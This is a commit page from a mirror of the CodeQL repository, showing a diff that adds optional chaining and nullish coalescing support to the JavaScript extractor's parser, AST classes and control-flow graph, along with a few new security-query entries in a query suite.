mirror of
https://github.com/github/codeql.git
synced 2026-07-20 18:58:36 +02:00
Merge remote-tracking branch 'upstream/next' into qlucie/master
This commit is contained in:
@@ -10,6 +10,7 @@
|
||||
+ semmlecode-javascript-queries/Security/CWE-079/Xss.ql: /Security/CWE/CWE-079
|
||||
+ semmlecode-javascript-queries/Security/CWE-089/SqlInjection.ql: /Security/CWE/CWE-089
|
||||
+ semmlecode-javascript-queries/Security/CWE-094/CodeInjection.ql: /Security/CWE/CWE-094
|
||||
+ semmlecode-javascript-queries/Security/CWE-094/UnsafeDynamicMethodAccess.ql: /Security/CWE/CWE-094
|
||||
+ semmlecode-javascript-queries/Security/CWE-116/IncompleteSanitization.ql: /Security/CWE/CWE-116
|
||||
+ semmlecode-javascript-queries/Security/CWE-116/DoubleEscaping.ql: /Security/CWE/CWE-116
|
||||
+ semmlecode-javascript-queries/Security/CWE-134/TaintedFormatString.ql: /Security/CWE/CWE-134
|
||||
@@ -23,12 +24,14 @@
|
||||
+ semmlecode-javascript-queries/Security/CWE-352/MissingCsrfMiddleware.ql: /Security/CWE/CWE-352
|
||||
+ semmlecode-javascript-queries/Security/CWE-400/RemotePropertyInjection.ql: /Security/CWE/CWE-400
|
||||
+ semmlecode-javascript-queries/Security/CWE-502/UnsafeDeserialization.ql: /Security/CWE/CWE-502
|
||||
+ semmlecode-javascript-queries/Security/CWE-506/HardcodedDataInterpretedAsCode.ql: /Security/CWE/CWE-506
|
||||
+ semmlecode-javascript-queries/Security/CWE-601/ClientSideUrlRedirect.ql: /Security/CWE/CWE-601
|
||||
+ semmlecode-javascript-queries/Security/CWE-601/ServerSideUrlRedirect.ql: /Security/CWE/CWE-601
|
||||
+ semmlecode-javascript-queries/Security/CWE-611/Xxe.ql: /Security/CWE/CWE-611
|
||||
+ semmlecode-javascript-queries/Security/CWE-640/HostHeaderPoisoningInEmailGeneration.ql: /Security/CWE/CWE-640
|
||||
+ semmlecode-javascript-queries/Security/CWE-643/XpathInjection.ql: /Security/CWE/CWE-643
|
||||
+ semmlecode-javascript-queries/Security/CWE-730/RegExpInjection.ql: /Security/CWE/CWE-730
|
||||
+ semmlecode-javascript-queries/Security/CWE-754/UnvalidatedDynamicMethodCall.ql: /Security/CWE/CWE-754
|
||||
+ semmlecode-javascript-queries/Security/CWE-770/MissingRateLimiting.ql: /Security/CWE/CWE-770
|
||||
+ semmlecode-javascript-queries/Security/CWE-776/XmlBomb.ql: /Security/CWE/CWE-776
|
||||
+ semmlecode-javascript-queries/Security/CWE-798/HardcodedCredentials.ql: /Security/CWE/CWE-798
|
||||
|
||||
@@ -153,7 +153,7 @@ public class CustomParser extends FlowParser {
|
||||
Identifier name = this.parseIdent(true);
|
||||
this.expect(TokenType.parenL);
|
||||
List<Expression> args = this.parseExprList(TokenType.parenR, false, false, null);
|
||||
CallExpression node = new CallExpression(new SourceLocation(startLoc), name, new ArrayList<>(), args);
|
||||
CallExpression node = new CallExpression(new SourceLocation(startLoc), name, new ArrayList<>(), args, false, false);
|
||||
return this.finishNode(node);
|
||||
} else {
|
||||
return super.parseExprAtom(refDestructuringErrors);
|
||||
@@ -212,7 +212,7 @@ public class CustomParser extends FlowParser {
|
||||
* A.f = function f(...) { ... };
|
||||
*/
|
||||
SourceLocation memloc = new SourceLocation(iface.getName() + "::" + id.getName(), iface.getLoc().getStart(), id.getLoc().getEnd());
|
||||
MemberExpression mem = new MemberExpression(memloc, iface, new Identifier(id.getLoc(), id.getName()), false);
|
||||
MemberExpression mem = new MemberExpression(memloc, iface, new Identifier(id.getLoc(), id.getName()), false, false, false);
|
||||
AssignmentExpression assgn = new AssignmentExpression(result.getLoc(), "=", mem, ((FunctionDeclaration)result).asFunctionExpression());
|
||||
return new ExpressionStatement(result.getLoc(), assgn);
|
||||
}
|
||||
|
||||
@@ -29,6 +29,7 @@ import com.semmle.js.ast.BlockStatement;
|
||||
import com.semmle.js.ast.BreakStatement;
|
||||
import com.semmle.js.ast.CallExpression;
|
||||
import com.semmle.js.ast.CatchClause;
|
||||
import com.semmle.js.ast.Chainable;
|
||||
import com.semmle.js.ast.ClassBody;
|
||||
import com.semmle.js.ast.ClassDeclaration;
|
||||
import com.semmle.js.ast.ClassExpression;
|
||||
@@ -504,6 +505,18 @@ public class Parser {
|
||||
}
|
||||
}
|
||||
|
||||
private Token readToken_question() { // '?'
|
||||
int next = charAt(this.pos + 1);
|
||||
int next2 = charAt(this.pos + 2);
|
||||
if (this.options.esnext()) {
|
||||
if (next == '.' && !('0' <= next2 && next2 <= '9')) // '?.', but not '?.X' where X is a digit
|
||||
return this.finishOp(TokenType.questiondot, 2);
|
||||
if (next == '?') // '??'
|
||||
return this.finishOp(TokenType.questionquestion, 2);
|
||||
}
|
||||
return this.finishOp(TokenType.question, 1);
|
||||
}
|
||||
|
||||
private Token readToken_slash() { // '/'
|
||||
int next = charAt(this.pos + 1);
|
||||
if (this.exprAllowed) {
|
||||
@@ -616,7 +629,7 @@ public class Parser {
|
||||
case 123: ++this.pos; return this.finishToken(TokenType.braceL);
|
||||
case 125: ++this.pos; return this.finishToken(TokenType.braceR);
|
||||
case 58: ++this.pos; return this.finishToken(TokenType.colon);
|
||||
case 63: ++this.pos; return this.finishToken(TokenType.question);
|
||||
case 63: return this.readToken_question();
|
||||
|
||||
case 96: // '`'
|
||||
if (this.options.ecmaVersion() < 6) break;
|
||||
@@ -1465,17 +1478,19 @@ public class Parser {
|
||||
}
|
||||
}
|
||||
|
||||
private boolean isOnOptionalChain(boolean optional, Expression base) {
|
||||
return optional || base instanceof Chainable && ((Chainable)base).isOnOptionalChain();
|
||||
}
|
||||
|
||||
/**
|
||||
* Parse a single subscript {@code s}; if more subscripts could follow, return {@code Pair.make(s, true},
|
||||
* otherwise return {@code Pair.make(s, false)}.
|
||||
*/
|
||||
protected Pair<Expression, Boolean> parseSubscript(final Expression base, Position startLoc, boolean noCalls) {
|
||||
boolean maybeAsyncArrow = this.options.ecmaVersion() >= 8 && base instanceof Identifier && "async".equals(((Identifier) base).getName()) && !this.canInsertSemicolon();
|
||||
if (this.eat(TokenType.dot)) {
|
||||
MemberExpression node = new MemberExpression(new SourceLocation(startLoc), base, this.parseIdent(true), false);
|
||||
return Pair.make(this.finishNode(node), true);
|
||||
} else if (this.eat(TokenType.bracketL)) {
|
||||
MemberExpression node = new MemberExpression(new SourceLocation(startLoc), base, this.parseExpression(false, null), true);
|
||||
boolean optional = this.eat(TokenType.questiondot);
|
||||
if (this.eat(TokenType.bracketL)) {
|
||||
MemberExpression node = new MemberExpression(new SourceLocation(startLoc), base, this.parseExpression(false, null), true, optional, isOnOptionalChain(optional, base));
|
||||
this.expect(TokenType.bracketR);
|
||||
return Pair.make(this.finishNode(node), true);
|
||||
} else if (!noCalls && this.eat(TokenType.parenL)) {
|
||||
@@ -1494,11 +1509,17 @@ public class Parser {
|
||||
this.checkExpressionErrors(refDestructuringErrors, true);
|
||||
if (oldYieldPos > 0) this.yieldPos = oldYieldPos;
|
||||
if (oldAwaitPos > 0) this.awaitPos = oldAwaitPos;
|
||||
CallExpression node = new CallExpression(new SourceLocation(startLoc), base, new ArrayList<>(), exprList);
|
||||
CallExpression node = new CallExpression(new SourceLocation(startLoc), base, new ArrayList<>(), exprList, optional, isOnOptionalChain(optional, base));
|
||||
return Pair.make(this.finishNode(node), true);
|
||||
} else if (this.type == TokenType.backQuote) {
|
||||
if (isOnOptionalChain(optional, base)) {
|
||||
this.raise(base, "An optional chain may not be used in a tagged template expression.");
|
||||
}
|
||||
TaggedTemplateExpression node = new TaggedTemplateExpression(new SourceLocation(startLoc), base, this.parseTemplate(true));
|
||||
return Pair.make(this.finishNode(node), true);
|
||||
} else if (optional || this.eat(TokenType.dot)) {
|
||||
MemberExpression node = new MemberExpression(new SourceLocation(startLoc), base, this.parseIdent(true), false, optional, isOnOptionalChain(optional, base));
|
||||
return Pair.make(this.finishNode(node), true);
|
||||
} else {
|
||||
return Pair.make(base, false);
|
||||
}
|
||||
@@ -1719,6 +1740,10 @@ public class Parser {
|
||||
int innerStartPos = this.start;
|
||||
Position innerStartLoc = this.startLoc;
|
||||
Expression callee = this.parseSubscripts(this.parseExprAtom(null), innerStartPos, innerStartLoc, true);
|
||||
|
||||
if (isOnOptionalChain(false, callee))
|
||||
this.raise(callee, "An optional chain may not be used in a `new` expression.");
|
||||
|
||||
List<Expression> arguments;
|
||||
if (this.eat(TokenType.parenL))
|
||||
arguments = this.parseExprList(TokenType.parenR, this.options.ecmaVersion() >= 8, false, null);
|
||||
@@ -2159,9 +2184,12 @@ public class Parser {
|
||||
return new ParenthesizedExpression(node.getLoc(), (Expression) this.toAssignable(expr, isBinding));
|
||||
}
|
||||
|
||||
if (node instanceof MemberExpression)
|
||||
if (node instanceof MemberExpression) {
|
||||
if (isOnOptionalChain(false, (MemberExpression)node))
|
||||
this.raise(node, "Invalid left-hand side in assignment");
|
||||
if (!isBinding)
|
||||
return node;
|
||||
}
|
||||
|
||||
this.raise(node, "Assigning to rvalue");
|
||||
}
|
||||
@@ -3016,6 +3044,10 @@ public class Parser {
|
||||
return parseClassPropertyBody(pi, hadConstructor, isStatic);
|
||||
}
|
||||
|
||||
protected boolean atGetterSetterName(PropertyInfo pi) {
|
||||
return !pi.isGenerator && !pi.isAsync && pi.key instanceof Identifier && this.type != TokenType.parenL && (((Identifier) pi.key).getName().equals("get") || ((Identifier) pi.key).getName().equals("set"));
|
||||
}
|
||||
|
||||
/**
|
||||
* Parse a method declaration in a class, assuming that its name has already been consumed.
|
||||
*/
|
||||
@@ -3023,7 +3055,7 @@ public class Parser {
|
||||
pi.kind = "method";
|
||||
boolean isGetSet = false;
|
||||
if (!pi.computed) {
|
||||
if (!pi.isGenerator && !pi.isAsync && pi.key instanceof Identifier && this.type != TokenType.parenL && (((Identifier) pi.key).getName().equals("get") || ((Identifier) pi.key).getName().equals("set"))) {
|
||||
if (atGetterSetterName(pi)) {
|
||||
isGetSet = true;
|
||||
pi.kind = ((Identifier) pi.key).getName();
|
||||
this.parsePropertyName(pi);
|
||||
|
||||
@@ -76,6 +76,7 @@ public class TokenType {
|
||||
semi = new TokenType(new Properties(";").beforeExpr()),
|
||||
colon = new TokenType(new Properties(":").beforeExpr()),
|
||||
dot = new TokenType(new Properties(".")),
|
||||
questiondot = new TokenType(new Properties("?.")),
|
||||
question = new TokenType(new Properties("?").beforeExpr()),
|
||||
arrow = new TokenType(new Properties("=>").beforeExpr()),
|
||||
template = new TokenType(new Properties("template")),
|
||||
@@ -122,6 +123,7 @@ public class TokenType {
|
||||
}
|
||||
},
|
||||
prefix = new TokenType(new Properties("prefix").beforeExpr().prefix().startsExpr()),
|
||||
questionquestion = new TokenType(binop("??", 1)),
|
||||
logicalOR = new TokenType(binop("||", 1)),
|
||||
logicalAND = new TokenType(binop("&&", 2)),
|
||||
bitwiseOR = new TokenType(binop("|", 3)),
|
||||
|
||||
@@ -146,6 +146,10 @@ public class FlowParser extends ESNextParser {
|
||||
boolean oldInType = inType;
|
||||
inType = true;
|
||||
this.expect(tok == null ? TokenType.colon : tok);
|
||||
if (this.type == TokenType.modulo) {// an annotation like '%checks' without a preceeding type
|
||||
inType = oldInType;
|
||||
return;
|
||||
}
|
||||
if (allowLeadingPipeOrAnd) {
|
||||
if (this.type == TokenType.bitwiseAND || this.type == TokenType.bitwiseOR) {
|
||||
this.next();
|
||||
@@ -223,14 +227,29 @@ public class FlowParser extends ESNextParser {
|
||||
while (this.type != TokenType.braceR) {
|
||||
Position stmtStart = startLoc;
|
||||
|
||||
// todo: declare check
|
||||
this.next();
|
||||
if (this.eat(TokenType._import)) {
|
||||
this.flowParseDeclareImport(stmtStart);
|
||||
} else {
|
||||
// todo: declare check
|
||||
this.next();
|
||||
|
||||
this.flowParseDeclare(stmtStart);
|
||||
this.flowParseDeclare(stmtStart);
|
||||
}
|
||||
}
|
||||
this.expect(TokenType.braceR);
|
||||
}
|
||||
|
||||
private void flowParseDeclareImport(Position stmtStart) {
|
||||
String kind = flowParseImportSpecifiers();
|
||||
if (kind == null) {
|
||||
this.raise(stmtStart, "Imports within a `declare module` body must always be `import type` or `import typeof`.");
|
||||
}
|
||||
this.expect(TokenType.name);
|
||||
this.expectContextual("from");
|
||||
this.expect(TokenType.string);
|
||||
this.semicolon();
|
||||
}
|
||||
|
||||
private void flowParseDeclareModuleExports() {
|
||||
this.expectContextual("module");
|
||||
this.expect(TokenType.dot);
|
||||
@@ -737,7 +756,7 @@ public class FlowParser extends ESNextParser {
|
||||
|
||||
private void flowParsePostfixType() {
|
||||
this.flowParsePrimaryType();
|
||||
if (this.type == TokenType.bracketL) {
|
||||
while (this.type == TokenType.bracketL) {
|
||||
this.expect(TokenType.bracketL);
|
||||
this.expect(TokenType.bracketR);
|
||||
}
|
||||
@@ -807,11 +826,20 @@ public class FlowParser extends ESNextParser {
|
||||
// if allowExpression is true then we're parsing an arrow function and if
|
||||
// there's a return type then it's been handled elsewhere
|
||||
this.flowParseTypeAnnotation();
|
||||
this.flowParseChecksAnnotation();
|
||||
}
|
||||
|
||||
return super.parseFunctionBody(id, params, isArrowFunction);
|
||||
}
|
||||
|
||||
private void flowParseChecksAnnotation() {
|
||||
// predicate functions with the special '%checks' annotation
|
||||
if (this.type == TokenType.modulo && lookaheadIsIdent("checks", true)) {
|
||||
this.next();
|
||||
this.next();
|
||||
}
|
||||
}
|
||||
|
||||
// interfaces
|
||||
@Override
|
||||
protected Statement parseStatement(boolean declaration, boolean topLevel, Set<String> exports) {
|
||||
@@ -975,24 +1003,30 @@ public class FlowParser extends ESNextParser {
|
||||
return param;
|
||||
}
|
||||
|
||||
private String flowParseImportSpecifiers() {
|
||||
String kind = null;
|
||||
if (this.type == TokenType._typeof) {
|
||||
kind = "typeof";
|
||||
} else if (this.isContextual("type")) {
|
||||
kind = "type";
|
||||
}
|
||||
if (kind != null) {
|
||||
String lh = lookahead(4);
|
||||
if (!lh.isEmpty()) {
|
||||
int c = lh.codePointAt(0);
|
||||
if ((Identifiers.isIdentifierStart(c, true) && !"from".equals(lh)) || c == '{' || c == '*') {
|
||||
this.next();
|
||||
}
|
||||
}
|
||||
}
|
||||
return kind;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected List<ImportSpecifier> parseImportSpecifiers() {
|
||||
String kind = null;
|
||||
if (flow()) {
|
||||
if (this.type == TokenType._typeof) {
|
||||
kind = "typeof";
|
||||
} else if (this.isContextual("type")) {
|
||||
kind = "type";
|
||||
}
|
||||
if (kind != null) {
|
||||
String lh = lookahead(4);
|
||||
if (!lh.isEmpty()) {
|
||||
int c = lh.codePointAt(0);
|
||||
if ((Identifiers.isIdentifierStart(c, true) && !"from".equals(lh)) || c == '{' || c == '*') {
|
||||
this.next();
|
||||
}
|
||||
}
|
||||
}
|
||||
kind = flowParseImportSpecifiers();
|
||||
}
|
||||
|
||||
List<ImportSpecifier> specs = super.parseImportSpecifiers();
|
||||
@@ -1102,6 +1136,7 @@ public class FlowParser extends ESNextParser {
|
||||
boolean oldNoAnonFunctionType = noAnonFunctionType;
|
||||
noAnonFunctionType = true;
|
||||
flowParseTypeAnnotation();
|
||||
flowParseChecksAnnotation();
|
||||
noAnonFunctionType = oldNoAnonFunctionType;
|
||||
if (this.type != TokenType.arrow)
|
||||
unexpected();
|
||||
@@ -1158,4 +1193,12 @@ public class FlowParser extends ESNextParser {
|
||||
this.eat(TokenType.plusMin);
|
||||
super.parsePropertyName(result);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected boolean atGetterSetterName(PropertyInfo pi) {
|
||||
if (flow() && this.isRelational("<"))
|
||||
return false;
|
||||
return super.atGetterSetterName(pi);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -215,6 +215,7 @@ public class AST2JSON extends DefaultVisitor<Void, JsonElement> {
|
||||
JsonObject result = this.mkNode(nd);
|
||||
result.add("callee", visit(nd.getCallee()));
|
||||
result.add("arguments", visit(nd.getArguments()));
|
||||
result.add("optional", new JsonPrimitive(nd.isOptional()));
|
||||
return result;
|
||||
}
|
||||
|
||||
@@ -424,6 +425,7 @@ public class AST2JSON extends DefaultVisitor<Void, JsonElement> {
|
||||
result.add("object", visit(nd.getObject()));
|
||||
result.add("property", visit(nd.getProperty()));
|
||||
result.add("computed", new JsonPrimitive(nd.isComputed()));
|
||||
result.add("optional", new JsonPrimitive(nd.isOptional()));
|
||||
return result;
|
||||
}
|
||||
|
||||
|
||||
@@ -8,8 +8,8 @@ import com.semmle.ts.ast.ITypeExpression;
|
||||
* A function call expression such as <code>f(1, 1)</code>.
|
||||
*/
|
||||
public class CallExpression extends InvokeExpression {
|
||||
public CallExpression(SourceLocation loc, Expression callee, List<ITypeExpression> typeArguments, List<Expression> arguments) {
|
||||
super("CallExpression", loc, callee, typeArguments, arguments);
|
||||
public CallExpression(SourceLocation loc, Expression callee, List<ITypeExpression> typeArguments, List<Expression> arguments, Boolean optional, Boolean onOptionalChain) {
|
||||
super("CallExpression", loc, callee, typeArguments, arguments, optional, onOptionalChain);
|
||||
}
|
||||
|
||||
@Override
|
||||
|
||||
16
javascript/extractor/src/com/semmle/js/ast/Chainable.java
Normal file
16
javascript/extractor/src/com/semmle/js/ast/Chainable.java
Normal file
@@ -0,0 +1,16 @@
|
||||
package com.semmle.js.ast;
|
||||
|
||||
/**
|
||||
* A chainable expression, such as a member access or function call.
|
||||
*/
|
||||
public interface Chainable {
|
||||
/**
|
||||
* Is this step of the chain optional?
|
||||
*/
|
||||
abstract boolean isOptional();
|
||||
|
||||
/**
|
||||
* Is this on an optional chain?
|
||||
*/
|
||||
abstract boolean isOnOptionalChain();
|
||||
}
|
||||
@@ -8,20 +8,24 @@ import com.semmle.ts.ast.ITypeExpression;
|
||||
/**
|
||||
* An invocation, that is, either a {@link CallExpression} or a {@link NewExpression}.
|
||||
*/
|
||||
public abstract class InvokeExpression extends Expression implements INodeWithSymbol {
|
||||
public abstract class InvokeExpression extends Expression implements INodeWithSymbol, Chainable {
|
||||
private final Expression callee;
|
||||
private final List<ITypeExpression> typeArguments;
|
||||
private final List<Expression> arguments;
|
||||
private final boolean optional;
|
||||
private final boolean onOptionalChain;
|
||||
private int resolvedSignatureId = -1;
|
||||
private int overloadIndex = -1;
|
||||
private int symbol = -1;
|
||||
|
||||
public InvokeExpression(String type, SourceLocation loc, Expression callee, List<ITypeExpression> typeArguments,
|
||||
List<Expression> arguments) {
|
||||
List<Expression> arguments, Boolean optional, Boolean onOptionalChain) {
|
||||
super(type, loc);
|
||||
this.callee = callee;
|
||||
this.typeArguments = typeArguments;
|
||||
this.arguments = arguments;
|
||||
this.optional = optional == Boolean.TRUE;
|
||||
this.onOptionalChain = onOptionalChain == Boolean.TRUE;
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -45,6 +49,16 @@ public abstract class InvokeExpression extends Expression implements INodeWithSy
|
||||
return arguments;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isOptional() {
|
||||
return optional;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isOnOptionalChain() {
|
||||
return onOptionalChain;
|
||||
}
|
||||
|
||||
public int getResolvedSignatureId() {
|
||||
return resolvedSignatureId;
|
||||
}
|
||||
@@ -70,4 +84,4 @@ public abstract class InvokeExpression extends Expression implements INodeWithSy
|
||||
public void setSymbol(int symbol) {
|
||||
this.symbol = symbol;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -6,16 +6,20 @@ import com.semmle.ts.ast.ITypeExpression;
|
||||
/**
|
||||
* A member expression, either computed (<code>e[f]</code>) or static (<code>e.f</code>).
|
||||
*/
|
||||
public class MemberExpression extends Expression implements ITypeExpression, INodeWithSymbol {
|
||||
public class MemberExpression extends Expression implements ITypeExpression, INodeWithSymbol, Chainable {
|
||||
private final Expression object, property;
|
||||
private final boolean computed;
|
||||
private final boolean optional;
|
||||
private final boolean onOptionalChain;
|
||||
private int symbol = -1;
|
||||
|
||||
public MemberExpression(SourceLocation loc, Expression object, Expression property, Boolean computed) {
|
||||
public MemberExpression(SourceLocation loc, Expression object, Expression property, Boolean computed, Boolean optional, Boolean onOptionalChain) {
|
||||
super("MemberExpression", loc);
|
||||
this.object = object;
|
||||
this.property = property;
|
||||
this.computed = computed == Boolean.TRUE;
|
||||
this.optional = optional == Boolean.TRUE;
|
||||
this.onOptionalChain = onOptionalChain == Boolean.TRUE;
|
||||
}
|
||||
|
||||
@Override
|
||||
@@ -45,6 +49,16 @@ public class MemberExpression extends Expression implements ITypeExpression, INo
|
||||
return computed;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isOptional() {
|
||||
return optional;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isOnOptionalChain() {
|
||||
return onOptionalChain;
|
||||
}
|
||||
|
||||
@Override
|
||||
public int getSymbol() {
|
||||
return symbol;
|
||||
|
||||
@@ -9,7 +9,7 @@ import com.semmle.ts.ast.ITypeExpression;
|
||||
*/
|
||||
public class NewExpression extends InvokeExpression {
|
||||
public NewExpression(SourceLocation loc, Expression callee, List<ITypeExpression> typeArguments, List<Expression> arguments) {
|
||||
super("NewExpression", loc, callee, typeArguments, arguments);
|
||||
super("NewExpression", loc, callee, typeArguments, arguments, false, false);
|
||||
}
|
||||
|
||||
@Override
|
||||
|
||||
@@ -97,7 +97,7 @@ public class NodeCopier implements Visitor<Void, INode> {
|
||||
|
||||
@Override
|
||||
public CallExpression visit(CallExpression nd, Void q) {
|
||||
return new CallExpression(visit(nd.getLoc()), copy(nd.getCallee()), copy(nd.getTypeArguments()), copy(nd.getArguments()));
|
||||
return new CallExpression(visit(nd.getLoc()), copy(nd.getCallee()), copy(nd.getTypeArguments()), copy(nd.getArguments()), nd.isOptional(), nd.isOnOptionalChain());
|
||||
}
|
||||
|
||||
@Override
|
||||
@@ -140,7 +140,7 @@ public class NodeCopier implements Visitor<Void, INode> {
|
||||
|
||||
@Override
|
||||
public MemberExpression visit(MemberExpression nd, Void q) {
|
||||
return new MemberExpression(visit(nd.getLoc()), copy(nd.getObject()), copy(nd.getProperty()), nd.isComputed());
|
||||
return new MemberExpression(visit(nd.getLoc()), copy(nd.getObject()), copy(nd.getProperty()), nd.isComputed(), nd.isOptional(), nd.isOnOptionalChain());
|
||||
}
|
||||
|
||||
@Override
|
||||
|
||||
@@ -405,6 +405,9 @@ public class ASTExtractor {
|
||||
if (nd.getOverloadIndex() != -1) {
|
||||
trapwriter.addTuple("invoke_expr_overload_index", key, nd.getOverloadIndex());
|
||||
}
|
||||
if (nd.isOptional()) {
|
||||
trapwriter.addTuple("isOptionalChaining", key);
|
||||
}
|
||||
emitNodeSymbol(nd, key);
|
||||
return key;
|
||||
}
|
||||
@@ -531,6 +534,9 @@ public class ASTExtractor {
|
||||
visit(nd.getObject(), key, 0, baseIdContext);
|
||||
visit(nd.getProperty(), key, 1, nd.isComputed() ? IdContext.varBind : IdContext.label);
|
||||
}
|
||||
if (nd.isOptional()) {
|
||||
trapwriter.addTuple("isOptionalChaining", key);
|
||||
}
|
||||
return key;
|
||||
}
|
||||
|
||||
@@ -1245,7 +1251,7 @@ public class ASTExtractor {
|
||||
Super superExpr = new Super(fakeLoc("super", loc));
|
||||
CallExpression superCall = new CallExpression(
|
||||
fakeLoc("super(...args)", loc),
|
||||
superExpr, new ArrayList<>(), CollectionUtil.makeList(spreadArgs));
|
||||
superExpr, new ArrayList<>(), CollectionUtil.makeList(spreadArgs), false, false);
|
||||
ExpressionStatement superCallStmt = new ExpressionStatement(
|
||||
fakeLoc("super(...args);", loc), superCall);
|
||||
body.getBody().add(superCallStmt);
|
||||
|
||||
@@ -31,13 +31,13 @@ import com.semmle.js.parser.TypeScriptParser;
|
||||
import com.semmle.ts.extractor.TypeExtractor;
|
||||
import com.semmle.ts.extractor.TypeTable;
|
||||
import com.semmle.util.data.StringUtil;
|
||||
import com.semmle.util.defect.Language;
|
||||
import com.semmle.util.exception.Exceptions;
|
||||
import com.semmle.util.exception.ResourceError;
|
||||
import com.semmle.util.exception.UserError;
|
||||
import com.semmle.util.extraction.ExtractorOutputConfig;
|
||||
import com.semmle.util.files.FileUtil;
|
||||
import com.semmle.util.io.csv.CSVReader;
|
||||
import com.semmle.util.language.LegacyLanguage;
|
||||
import com.semmle.util.process.Env;
|
||||
import com.semmle.util.projectstructure.ProjectLayout;
|
||||
import com.semmle.util.trap.TrapWriter;
|
||||
@@ -179,7 +179,7 @@ public class AutoBuild {
|
||||
public AutoBuild() {
|
||||
this.LGTM_SRC = toRealPath(getPathFromEnvVar("LGTM_SRC"));
|
||||
this.SEMMLE_DIST = getPathFromEnvVar(Env.Var.SEMMLE_DIST.toString());
|
||||
this.outputConfig = new ExtractorOutputConfig(Language.JAVASCRIPT);
|
||||
this.outputConfig = new ExtractorOutputConfig(LegacyLanguage.JAVASCRIPT);
|
||||
this.trapCache = mkTrapCache();
|
||||
this.typeScriptMode = getEnumFromEnvVar("LGTM_INDEX_TYPESCRIPT", TypeScriptMode.class, TypeScriptMode.BASIC);
|
||||
this.defaultEncoding = getEnvVar("LGTM_INDEX_DEFAULT_ENCODING");
|
||||
|
||||
@@ -24,6 +24,7 @@ import com.semmle.js.ast.BlockStatement;
|
||||
import com.semmle.js.ast.BreakStatement;
|
||||
import com.semmle.js.ast.CallExpression;
|
||||
import com.semmle.js.ast.CatchClause;
|
||||
import com.semmle.js.ast.Chainable;
|
||||
import com.semmle.js.ast.ClassBody;
|
||||
import com.semmle.js.ast.ClassDeclaration;
|
||||
import com.semmle.js.ast.ClassExpression;
|
||||
@@ -330,9 +331,11 @@ public class CFGExtractor {
|
||||
return nd.getKey().accept(this, v);
|
||||
}
|
||||
|
||||
// for binary operators, the operands come first (but not for LogicalExpression, see above)
|
||||
// for binary operators, the operands come first (but not for short-circuiting expressions), see above)
|
||||
@Override
|
||||
public Node visit(BinaryExpression nd, Void v) {
|
||||
if ("??".equals(nd.getOperator()))
|
||||
return nd;
|
||||
return nd.getLeft().accept(this, v);
|
||||
}
|
||||
|
||||
@@ -776,6 +779,9 @@ public class CFGExtractor {
|
||||
// cache the set of normal control flow successors
|
||||
private final Map<Node, Object> followingCache = new LinkedHashMap<Node, Object>();
|
||||
|
||||
// map from a node in a chain of property accesses or calls to the successor info for the first node in the chain
|
||||
private final Map<Chainable, SuccessorInfo> chainRootSuccessors = new LinkedHashMap<Chainable, SuccessorInfo>();
|
||||
|
||||
/**
|
||||
* Generate entry node.
|
||||
*/
|
||||
@@ -1579,8 +1585,16 @@ public class CFGExtractor {
|
||||
|
||||
@Override
|
||||
public Void visit(BinaryExpression nd, SuccessorInfo i) {
|
||||
this.seq(nd.getLeft(), nd.getRight(), nd);
|
||||
succ(nd, i.getGuardedSuccessors(nd));
|
||||
if ("??".equals(nd.getOperator())) {
|
||||
// the nullish coalescing operator is short-circuiting, but we do not add guards for it
|
||||
succ(nd, First.of(nd.getLeft()));
|
||||
Object leftSucc = union(First.of(nd.getRight()), i.getAllSuccessors()); // short-circuiting happens with both truthy and falsy values
|
||||
visit(nd.getLeft(), leftSucc, null);
|
||||
nd.getRight().accept(this, i);
|
||||
} else {
|
||||
this.seq(nd.getLeft(), nd.getRight(), nd);
|
||||
succ(nd, i.getGuardedSuccessors(nd));
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
@@ -1637,16 +1651,36 @@ public class CFGExtractor {
|
||||
return null;
|
||||
}
|
||||
|
||||
private void preVisitChainable(Chainable chainable, Expression base, SuccessorInfo i) {
|
||||
if (!chainable.isOnOptionalChain()) // optimization: bookkeeping is only needed for optional chains
|
||||
return;
|
||||
// start of chain
|
||||
chainRootSuccessors.putIfAbsent(chainable, i);
|
||||
// next step in chain
|
||||
if (base instanceof Chainable)
|
||||
chainRootSuccessors.put((Chainable)base, chainRootSuccessors.get(chainable));
|
||||
}
|
||||
|
||||
private void postVisitChainable(Chainable chainable, Expression base, boolean optional) {
|
||||
if (optional) {
|
||||
succ(base, chainRootSuccessors.get(chainable).getSuccessors(false));
|
||||
}
|
||||
chainRootSuccessors.remove(chainable);
|
||||
}
|
||||
|
||||
@Override
|
||||
public Void visit(MemberExpression nd, SuccessorInfo i) {
|
||||
preVisitChainable(nd, nd.getObject(), i);
|
||||
seq(nd.getObject(), nd.getProperty(), nd);
|
||||
// property accesses may throw
|
||||
succ(nd, union(this.findTarget(JumpType.THROW, null), i.getGuardedSuccessors(nd)));
|
||||
postVisitChainable(nd, nd.getObject(), nd.isOptional());
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public Void visit(InvokeExpression nd, SuccessorInfo i) {
|
||||
preVisitChainable(nd, nd.getCallee(), i);
|
||||
seq(nd.getCallee(), nd.getArguments(), nd);
|
||||
Object succs = i.getGuardedSuccessors(nd);
|
||||
if (nd instanceof CallExpression && nd.getCallee() instanceof Super && !instanceFields.isEmpty()) {
|
||||
@@ -1660,6 +1694,7 @@ public class CFGExtractor {
|
||||
}
|
||||
// calls may throw
|
||||
succ(nd, union(this.findTarget(JumpType.THROW, null), succs));
|
||||
postVisitChainable(nd, nd.getCallee(), nd.isOptional());
|
||||
return null;
|
||||
}
|
||||
|
||||
|
||||
@@ -72,6 +72,7 @@ public class ExprKinds {
|
||||
binOpKinds.put("&=", 58);
|
||||
binOpKinds.put("**", 87);
|
||||
binOpKinds.put("**=", 88);
|
||||
binOpKinds.put("??", 107);
|
||||
}
|
||||
|
||||
private static final Map<String, Integer> unOpKinds = new LinkedHashMap<String, Integer>();
|
||||
|
||||
@@ -5,6 +5,7 @@ import java.io.File;
|
||||
import java.io.FileInputStream;
|
||||
import java.io.FileReader;
|
||||
import java.io.IOException;
|
||||
import java.nio.charset.Charset;
|
||||
